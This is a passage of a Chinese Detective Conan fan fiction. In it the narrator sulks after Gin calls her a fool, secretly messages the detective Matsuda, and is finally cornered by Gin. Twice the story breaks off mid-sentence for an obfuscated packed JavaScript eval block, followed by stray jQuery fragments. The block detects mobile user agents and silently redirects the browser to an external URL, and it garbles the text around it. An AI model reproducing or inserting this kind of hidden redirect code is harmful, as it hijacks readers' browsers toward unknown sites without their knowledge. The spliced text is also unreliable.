我估计着倒也不是饿,主要是琴酒这个名字比较有诱惑力吧?吃了琴酒的钱买的东西,或许有一种开光的感觉?
“诶?怎么了吗?”看着大家把食物都分完了,我拍拍手,原本是打算叫上伏特加一起回去的,却总感觉有人在看我,不由得顺着目光方向看了过去。
是才来两个星期的一个成员,平时话很少,长得也普通,我对他有印象主要是因为我总感觉他身上有秘密。
比如说他的长相明显是做了易容。
一个外围成员有什么必要做易容,我不太懂,不过怎么样都和我没关系,就算他是条子卧底,实际上我都无所谓。我最多就是在他在场的时候让琴酒看了他一眼,反正当时琴酒表情都没变化,我就更无所谓了。
总不能是上面派来监视我的。监视我什么的,盯着我什么的,没必要啊,我可是纯血黑衣组织成员,身份上铁黑。再说了,盯着我什么的,有琴酒一个,还不够吗?
“没什么。”男人静静垂头看着手上的甜品盒子,过长的刘海垂下,看不清表情,就只能听到他轻声问,“这真的是琴酒买的吗?那又为什么是你送过来的?”
“对啊,我拿琴酒的卡亲手刷的,怎么不算是琴酒买的。”我理直气壮地给琴酒收买人心,“大哥送温暖不留名,记得大哥的好就行了。”
他喃喃着说:“这样啊。”
没感受到和其他人一样对琴酒的崇敬,这对被分到polestar酒吧的组织成员来说有点格格不入,我想了想,还是好心地拍拍他,留下句忠告:
“不知道你是怎么想的,不过,听我一句劝。跟着大哥混,有肉吃。”
装也装得像个样吧,不崇拜琴酒,别说酒吧了,就连黑衣组织里都少见诶。他又不像是宾加那种想要取代琴酒的跃跃欲试的深柜,就更奇怪了。这么奇怪,很容易被当成条子解决掉。
不管怎么样,也不想看到认识的人死,不过要是故意送死,我也没办法。
遗憾地摇摇头,我叫上一声不吭在旁边站了很久的伏特加一起回家。
就是走的时候,我还是没忍住,回头看了他一眼。
他还站在原地,低着头,就是……
嘴角勾起了笑?
莫名其妙的,我打个冷战。
65.
琴酒还是挺善良的,他后来给我放了一天的假,才继续拎着我一起出去做任务。
就是那些任务也不需要我出去探听什么情报,也不需要我给他放风什么的,我就只需要坐在车里等着他们回来,再夸夸他们好厉害就可以。
也不知道琴酒这是在给胆小如我脱敏,还是需要一些情绪价值。
总之,就这么一连拎到了我的过年七天乐结束,我又不得不苦哈哈地回去上班。
一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078289|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时之间竟然也分不清到底是上班累还是陪琴酒做任务累,上班主要苦在要经常站着,陪琴酒做任务苦,主要苦在要防着他和伏特加才能和松田阵平聊天……
咳,朕,真的很难。
把酒杯放进托盘,我幽幽地叹了口气,走上楼梯,走到了二楼的包厢门口。
今天包厢里又有小会要开,而且不止一场,基安蒂他们都走了,琴酒和贝尔摩德还没出来。
经过锻炼,已经可以单手稳稳撑托盘,我用左手敲了敲门,没想到一敲门,门响得很小声不说,还直接就开了一条缝。
不应该啊,按理说他们就算是在酒吧开会,也就算是有我盯着,也会锁门,至少把门关好才对。
我疑惑地拧了下眉,正思考是直接进去还是再敲大声一点,就听到贝尔摩德的声音从里面飘了出来。
“说起来,你最近走到哪里似乎都把英子带着。”
听到我的名字,我下意识一停。
琴酒就回了个“嗯”。
贝尔摩德一点也没被扫兴,还饶有兴致地继续说:“看起来你们……嗯?”
琴酒又回了个“嗯”。
不是,什么啊?我和琴酒什么啊?关键词句没听清,我想都没想,就把耳朵贴在了门缝中间。
和我有关的我听听怎么了?被发现了,大不了被琴酒揍一顿。又不是组织机密,他总不能揍死我!胆大包天起来,我又把耳朵在门缝中间蹭了蹭,把门缝都蹭大了一些。
贝尔摩德的声音里带了几分魅惑的暗示:“怎么,这是终于想通了?”
琴酒这回不“嗯”了。
他声音中的冰冷和嘲讽就算是在门口的我也听得一清二楚:
“我对睡傻子不感兴趣。”
?傻子,谁?不会是我吧?
手中的托盘不慎撞到门,发出声音,“吵到了”贝尔摩德。
“啊拉,小可爱怎么在门口?”
被发现的我干脆用头顶着门,从门缝中漏出了一只眼睛,阴森地看着坐在沙发上一脸惊讶的贝尔摩德和一脸平静的琴酒。
被我发现骂我是傻子,居然一点心虚都没有?
总不能他真的觉得我是傻子吧?
我眯起眼睛,用着比眼神更阴森的语气说:
“我会一直视奸你们,永远……永远……”
26.第二十六章
66.
我生气了。
我是真的生气了。
琴酒的话真的太伤人了。
什么叫做“对睡傻子不感兴趣”?
结合上下句,都不需要动脑子思考,就知道说的是我。
琴酒对睡我不感兴趣也就算了,我知道,我不在意……好吧,一点点,本美女也是要面子的。但是又不是第一次被他拒绝了,这次还是贝尔摩德提出来而不是我主动去问,不算丢人,我已脱敏。
主要是,重点是,他怎么能说我是傻子呢?
他怎么,能,说我,是傻子呢?
诚然,一直以来,琴酒没少用看傻子的眼神看我,也没少用“蠢货”“智障”“笨蛋”这些词称呼我。
但是,看傻子和真的说我是傻子能一样吗?
蠢货、智障、笨蛋,这种词,和傻子,能一样吗?
在我看来,有本质的区别,我说不明白怎么个本质法,反正我就感觉我整个人都炸了。
一定是因为琴酒第一次说我是傻子,我才如此炸的。
谁家傻子能和我一样,陪他做任务,还帮他收集情报的?
或许我现在的样子有点像那个表情包,我说的话也和表情包一模一样。不过还是有本质区别的,至少我自认,此时此刻的我,阴森诡异得宛如女鬼。
然而,有句话怎么说来着?就是当你足够弱小的时候,就连愤怒发脾气都显得无比可爱。
毫无疑问,对于琴酒和贝尔摩德来说,我的攻击力堪比路边的野草,杀伤力约等于零。
因此,显而易见,我的阴森诡异视奸发言在他们两个看来,也毫无威胁。
贝尔摩德甚至还噗嗤笑了一声:“哇,好可爱。”
可爱,可爱什么?这叫可爱?傻得可爱吗?
我瞪圆了眼睛,推开了门,气呼呼地用力踩着地板,冷着脸……把他们两个的酒放在茶几上。
为此时此刻还无比敬业的我点个赞吧,我不是看开了,我是真没招了。
因为我好像似乎确实什么也做不了。
我总不能一怒之下把琴酒给揍了,或者把琴酒给上了吧?
心酸如我只能憋着嘴吸了两下什么都没有的鼻子,冷着脸说:“你们的酒,我走了。”
我看都没看琴酒一眼,转身离开。
悲催啊,前有娇妻冷脸洗内裤,后有英子冷脸送酒杯。
67.
这并不意味着我真的什么都做不了了,至少……
我可以将冷脸进行到底。
于是接下来的几天,我直接搬回了酒吧住。
——尽管也有琴酒和伏特加又出差离开东京做任务了,我只能回酒吧住的原因。
但是,我这几天,都没有和琴酒联系。
这对我来说已经是很冷酷无情,是真的生气记仇的表现了。毕竟要是以前的我,琴酒在东京,都要每天接受我土味情话和智障笑话的轰炸,直到他忍无可忍骂我一顿把我拉黑为止。更不用提,要是他出差了,我的轰炸频率就更高,被琴酒拉黑之后还会继续骚扰伏特加,直到琴酒用伏特加的手机把我拉黑为止。
这下好了,我不会再拿琴酒取乐……不是,我不会跟琴酒分享快乐了,伏特加也被我连坐了。攻击我是“傻子”的臭男人后悔去吧!
尽管,或许,对琴酒来说,没了我的热情问候,可能就如同鱼儿没了自行车一样,没有后悔,只有世界清净了的快乐。
这么想想,就更生气了呢!
这么想着,我看着备忘录里新打上去的土味情话,删掉了前面的“大哥”两个字,改成了“松田警官”,发给了最近跟我进行地下来往的松田阵平。
那天交换联系方式之后,其实在回房间在床上烙大饼的时候,我就已经在和松田阵平开始聊天了。
被我撞到的两个警察的确是松田阵平和萩原研二,也是萩原研二捡到了我的吊坠,却没来得及叫住我,也没追上我——哦,说起来,托琴酒的福,他在发现怎么样也不能让我学会体术之后,转而锻炼起了我的逃跑能力。嗯,跑的快,又怎么能不算是有自保能力呢?
相信我,换做是你们动不动就被伯.莱.塔指着,你们也会跑八百都轻轻松松的,逃生的本能早就刻进DNA了。
没办法,萩原研二也只好暂时帮我保留吊坠,想要等之后有机会再找我,因为他们被电话紧急召唤,要前往公寓楼拆除炸.弹。
和原本剧情一样,警方和炸.弹犯谈好了条件,萩原研二也本该和原本一样放松戒备。但是不一样的是他身前的口袋里,放着的水晶吊坠的异样感突然加重,连带着他本人的心跳也开始不正常。
——“告诉hagi穿好排爆服和小心哑炮!”
耳边突然响起我的声音,萩原研二也警惕起来。他穿好排爆服,走到他原本已经在动手拆除又停下的炸.弹旁边,心跳反而跳得越来越快。
同事还问他,是不是觉得哪里不对劲,还是手瘾犯了想要把炸.弹拆掉。
他确实感觉到了不对劲,而且因为这栋公寓楼的居民已经全部被安全转移,心跳越来越不对劲的萩原研二当机立断,带着警察同事一起飞快离开。
松田阵平如原剧情一样给萩原研二打电话,终于接通的时候,得知的就是,炸.弹爆炸了,但是幸好,包括萩原研二在内的所有爆.炸物处理班成员都没有伤亡。
松田阵平憋了几天,还是很直白地问我,是怎么知道那天会发生的事的,他不认为我的突然出现和突然说的话是巧合。
倒也是,这都差不多是明牌告诉他们我什么都知道了。
没关系,在去警视厅之前我早就想好了我的身份,我直接参考了魔女小姐的身份,告诉他们我身上有家传玄学,会做预知梦,尤其会预知到帅哥牺牲。
【美丽少女英英子:我这个人比较正义又善良,见不得帅哥受苦。你们这些帅哥,我罩的,懂?】
【松田警官:我懂了。】
【松田警官:那下期彩票号码是什么,可以做梦预知一下吗?】
【美丽少女英英子:?】
【松田警官:中不到彩票的话,我也会受苦的,心里苦。】
【美丽少女英英子:那你还是受苦吧。男人越苦,女人越幸福。】
毕竟男人有钱就变坏。
呵呵,就像琴酒,有钱,特别坏,比如说他居然说我是傻子。
68.
琴酒回来之后,我又搬了回去,但是我还是依旧冷着脸不肯跟他说话。反正我们两个生物钟也不一样,我睡醒的时候他早就出门做任务了,等从酒吧回去的时候,我不跟他凑近乎,他还倒真的觉得清净,一点反应都没有。
伏特加都觉得不对劲了,在我调酒的时候试图打扰我的心流状态。
“英子,你和大哥吵架了吗?”
被他拍拍,我不满地瞪他一眼:“吵什么架?谁敢跟大哥吵架?”
伏特加摸摸鼻子,讪讪地说:“你现在这个样子和吵架有什么区别。”
我冷下脸,面无表情地看着他。
伏特加被我看得都抖了一下,投降说:“英子你别这样,我害怕。”
我冷笑了两声,继续低头,搅拌杯中的液体片刻后拿出搅拌棒,将调好的酒倒到杯子里。
伏特加一杯,我一杯……还剩了差不多一杯的量。啧,按照以前的手感倒的酒,差点忘了今天没有琴酒的份。我撇撇嘴,又翻出来一个杯子,暂时把酒倒进去,打算之后再喝。
“尝尝,味道怎么样。”我把杯子推到伏特加面前,示意他喝酒。
伏特加的手摸上杯子,又犹豫地放下:“我、我先喝?”
我鄙夷地看他一眼:“你不先喝那就我先喝,跟你客套一下你还犹豫上了。”
“我这不是不习惯吗?之前不都是大哥先喝吗?说起来,英子你这次试验新品,居然没叫大哥?”伏特加忘了补一句【还是在大哥的家】。
确实,我一直以来的习惯都是试验新品时第一杯要给琴酒,这叫做工作留痕,必须要让领导知道我在努力,而且要让领导成为成品的第一享用者。拍马屁我还是会的,不然怎么摆烂混到现在。
我继续面无表情:“大哥日理万机,哪有时间帮我试验新品。”
说完,我喝了一口,闭上眼睛品了一下,满意地点点头。
伏特加也很满意,他惊讶地说:“确实没什么酒味。”
“一点点茉莉茶香,完美成功。”僵了好久的脸终于笑起来,我笑出梨涡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087322|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,眼睛也弯了起来。
“好神奇啊,果然是英子的新品。”
我得意地摆摆手,假装谦虚:“还好啦,我就是一般天才,这也是网上刷到的配方。”
尾巴才翘起来,玄关处就听到了开门的声音,身体速度比大脑速度更快,我嗖的一下就窜回了房间。
伏特加只是眨了下眼,我人就没了。
“英子?”
“怎么了。”
“大哥,英子好像真的生气了。”伏特加茫然地说,“你们两个怎么了吗?”
我趴在门板上,紧张地听着,结果听到的就只有琴酒的一声:“她?”
我撅起嘴,背靠在门上,双手抱胸地用鼻子愤怒地出了一下气。
69.
原本不想出去的,但是想起来我调好的酒还在桌子上摆着,我也就喝了一口。馋猫如我在床上蛄蛹了好久,还是决定出门把酒杯带回房间。
反正按照以前的情况,这时候琴酒也应该回房间了。
大不了就是在客厅看文件,我目不斜视就好了。
做好了心理建设,我打开门,路过客厅的时候偷偷扫了一眼,客厅空无一人。
松了口气,我走到餐桌前,就被吓了一跳。
琴酒就坐在桌子旁,手中端着酒杯,就是我多倒出来的那一杯!
人怎么能这么自觉啊!
我大为震惊,一时之间都忘了冷脸人设,指着他问:“你怎么能偷喝我的酒?”
“偷喝?”琴酒嗤笑一声,垂眸看了眼杯子中已经只剩底的无色液体,又抬起眼皮,整个人一副难得的慵懒姿态,“这里面用了gin,还是偷喝你的酒吗?”
我一噎:“那、那是配方,配方里就是有gin!还有椰子水和茉莉花茶呢,才不是因为你是gin才用的gin。”
琴酒沉笑了一声,放下酒杯,向我走过来。
他的每一步都走得很稳,明明一点杀气都没有,但是压迫感还是十足,搞得我下意识地,他向我走一步,我向后退一步。
一直退到后背抵上墙。
生气了?又不像。嗯……哼哼!哼哼哼!我就说我们舔狗才是掌握主动权的那个吧?
没感觉到危险,只有一种肾上腺素飙升的刺激,睫毛飞快颤抖,胸脯也急促得一起一伏。
琴酒低头看着我眼睛都不知道看哪里,就是不抬头跟他对视的样子,用食指轻松勾起我的下巴,摩挲着问:“怎么,现在不躲着我了?”
一看就陷进去了,我只能条件反射闭上眼才能躲开他深邃的祖母绿色的眼。
我磕磕巴巴:“哪、哪有?”
冰凉的银色长发落在我指间,被禁锢在这方寸之地,琴酒的脸在我面前近距离放大,放大到我都能闻得到他呼出来的气息。
他整个人都萦绕着硝烟和皮革的余味,但是呼吸间却混着我刚才调的酒的味道,无色也无味,很像白开水,就是带了几分淡淡的茉莉花茶香。
也许是距离实在太近了,以至于原本应该淡淡的茉莉花茶香已经浓郁起来,就连消失殆尽的酒味都存在感明显,熏得我眼睛都无法聚焦了。
琴酒看着我晕晕乎乎的样子,忽然满意一笑。他没有停下靠近我的动作,就在薄唇即将贴上来的时候,我终于理智回归。
右手抵在他的胸膛,隔着昂贵的衬衫,也能感受到底下蕴藏的、不容置疑的力量和灼人的热度
左手则下意识手背捂上我的嘴唇,以一种防御的姿态。
我紧张兮兮地说:“大哥你是不是喝醉了?”
琴酒的动作顿住了。墨绿色的眼眸在帽檐的阴影下锐利如刀,牢牢锁住我,那目光带着审视,也带着一丝……兴味?仿佛在欣赏猎物徒劳的挣扎。
没有停下,反而身体又向前逼近了半分,将我更紧地钉在墙上。
胸膛肌肉的起伏和沉稳有力的心跳透过掌心传来,与我狂乱的心跳形成鲜明对比。这细微的震动感沿着手臂一路蔓延,在我体内激起奇异的麻痒。
我的双瞳瞪大到不可思议的程度,惊愕地近乎失声:“大哥?”
琴酒却低低地笑了一声,每一个动作都无比缓慢,却也容不得拒绝地,将我的手从他的胸口拿开,握着我的手腕,按在了墙上。